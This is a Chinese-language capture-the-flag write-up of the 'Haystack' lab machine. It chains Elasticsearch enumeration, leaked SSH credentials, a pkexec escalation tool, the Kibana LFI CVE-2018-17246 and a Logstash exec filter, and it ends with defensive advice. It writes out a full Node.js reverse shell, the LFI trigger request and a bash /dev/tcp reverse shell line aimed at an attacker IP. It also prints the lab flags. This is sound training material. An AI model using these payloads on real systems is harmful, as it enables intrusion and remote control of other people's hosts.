[Meachines] [Easy] Haystack Elasticsearch cat API+TRP00F权限提升+Kibana LFI+Logstash权限提升
字数 1121 2025-08-29 08:30:30

Elasticsearch 安全漏洞利用与权限提升综合指南

1. 信息收集阶段

1.1 目标识别与端口扫描

目标IP: 10.10.10.115

开放端口:

  • 22/tcp: OpenSSH 7.4
  • 80/tcp: nginx 1.12.2
  • 9200/tcp: nginx 1.12.2 (运行Elasticsearch服务)

扫描命令:

ip='10.10.10.115'; itf='tun0'
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
  echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"
  ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
  if [ -n "$ports" ]; then
    echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"
    nmap -Pn -sV -sC -p "$ports" "$ip"
  else
    echo -e "\e[31m[!] No open ports found on $ip.\e[0m"
  fi
else
  echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"
fi

1.2 Elasticsearch API 信息收集

Elasticsearch cat API 端点:

  • 基本URL: http://10.10.10.115:9200/
  • 文档参考: https://www.elastic.co/guide/en/elasticsearch/reference/6.4/cat.html

常用查询命令:

# 查询集群中的索引模板
curl http://10.10.10.115:9200/_cat/

# 查询所有索引
curl http://10.10.10.115:9200/_cat/indices

# 从quotes索引获取253条记录并保存
curl -s 'http://10.10.10.115:9200/quotes/_search?size=253' | jq '.hits.hits[]._source.quote' > /tmp/quotes

2. 初始访问

2.1 获取凭据

发现硬编码凭据:

username: security
password: spanish.is.key

Base64编码形式:

dXNlcjogc2VjdXJpdHk=
cGFzczogc3BhbmlzaC5pcy5rZXk=

2.2 SSH登录

使用获取的凭据通过SSH登录:

ssh security@10.10.10.115

3. 权限提升技术

3.1 TRP00F 提权工具

使用TRP00F进行权限提升:

python3 trp00f.py --lhost 10.10.16.33 --lport 10000 --rhost 10.10.16.33 --rport 10032 --http 9999

当询问是否利用'pkexec'漏洞时选择'y'

GitHub项目: https://github.com/MartinxMax/trp00f

3.2 Kibana 6.4.2 LFI漏洞利用

Kibana本地文件包含(LFI)漏洞利用步骤:

  1. 创建反向shell脚本:
cat > /dev/shm/shell.js <<EOF
(function(){
  var net = require("net"),
      cp = require("child_process"),
      sh = cp.spawn("/bin/sh", []);
  var client = new net.Socket();
  client.connect(443, "10.10.16.33", function(){
    client.pipe(sh.stdin);
    sh.stdout.pipe(client);
    sh.stderr.pipe(client);
  });
  return /a/; // Prevents the Node.js application form crashing
})();
EOF
  1. 利用LFI漏洞执行脚本:
curl 'http://127.0.0.1:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=dev/shm/shell.js'

参考: CVE-2018-17246 (https://github.com/mpgn/CVE-2018-17246)

3.3 Logstash 权限提升

利用Logstash配置漏洞进行权限提升:

  1. 创建恶意输入文件:
echo 'Ejecutar comando : bash -i >& /dev/tcp/10.10.16.33/10033 0>&1' > /opt/kibana/logstash_rev
  1. Logstash配置分析:
filter {
  if [type] == "execute" {
    grok {
      match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
    }
  }
}

input {
  file {
    path => "/opt/kibana/logstash_*"
    start_position => "beginning"
    sincedb_path => "/dev/null"
    stat_interval => "10 second"
    type => "execute"
    mode => "read"
  }
}

output {
  if [type] == "execute" {
    stdout { codec => json }
    exec { command => "%{comando}" }
  }
}

关键点:

  • Logstash监控/opt/kibana/logstash_*文件
  • 文件内容匹配特定格式时会执行命令
  • 命令执行部分: exec { command => "%{comando}" }

4. 获取标志

  • 用户标志(User.txt): 1091e84b2be43c7954961bbcca7d2f8c
  • 根标志(Root.txt): e61a148a34817a121876b7721db6445a

5. 防御建议

  1. Elasticsearch安全措施:

    • 不要将Elasticsearch暴露在公网
    • 启用身份验证和授权
    • 限制API访问
  2. Kibana安全措施:

    • 及时更新到最新版本
    • 限制访问权限
    • 禁用不必要的API
  3. Logstash安全措施:

    • 审查配置文件中的命令执行功能
    • 限制文件输入源的权限
    • 使用最小权限原则运行服务
  4. 系统层面:

    • 定期更新系统和软件
    • 避免使用弱密码或硬编码凭据
    • 监控可疑活动
Elasticsearch 安全漏洞利用与权限提升综合指南 1. 信息收集阶段 1.1 目标识别与端口扫描 目标IP: 10.10.10.115 开放端口: 22/tcp: OpenSSH 7.4 80/tcp: nginx 1.12.2 9200/tcp: nginx 1.12.2 (运行Elasticsearch服务) 扫描命令: 1.2 Elasticsearch API 信息收集 Elasticsearch cat API 端点: 基本URL: http://10.10.10.115:9200/ 文档参考: https://www.elastic.co/guide/en/elasticsearch/reference/6.4/cat.html 常用查询命令: 2. 初始访问 2.1 获取凭据 发现硬编码凭据: Base64编码形式: 2.2 SSH登录 使用获取的凭据通过SSH登录: 3. 权限提升技术 3.1 TRP00F 提权工具 使用TRP00F进行权限提升: 当询问是否利用'pkexec'漏洞时选择'y' GitHub项目: https://github.com/MartinxMax/trp00f 3.2 Kibana 6.4.2 LFI漏洞利用 Kibana本地文件包含(LFI)漏洞利用步骤: 创建反向shell脚本: 利用LFI漏洞执行脚本: 参考: CVE-2018-17246 (https://github.com/mpgn/CVE-2018-17246) 3.3 Logstash 权限提升 利用Logstash配置漏洞进行权限提升: 创建恶意输入文件: Logstash配置分析: 关键点: Logstash监控 /opt/kibana/logstash_* 文件 文件内容匹配特定格式时会执行命令 命令执行部分: exec { command => "%{comando}" } 4. 获取标志 用户标志(User.txt): 1091e84b2be43c7954961bbcca7d2f8c 根标志(Root.txt): e61a148a34817a121876b7721db6445a 5. 防御建议 Elasticsearch安全措施: 不要将Elasticsearch暴露在公网 启用身份验证和授权 限制API访问 Kibana安全措施: 及时更新到最新版本 限制访问权限 禁用不必要的API Logstash安全措施: 审查配置文件中的命令执行功能 限制文件输入源的权限 使用最小权限原则运行服务 系统层面: 定期更新系统和软件 避免使用弱密码或硬编码凭据 监控可疑活动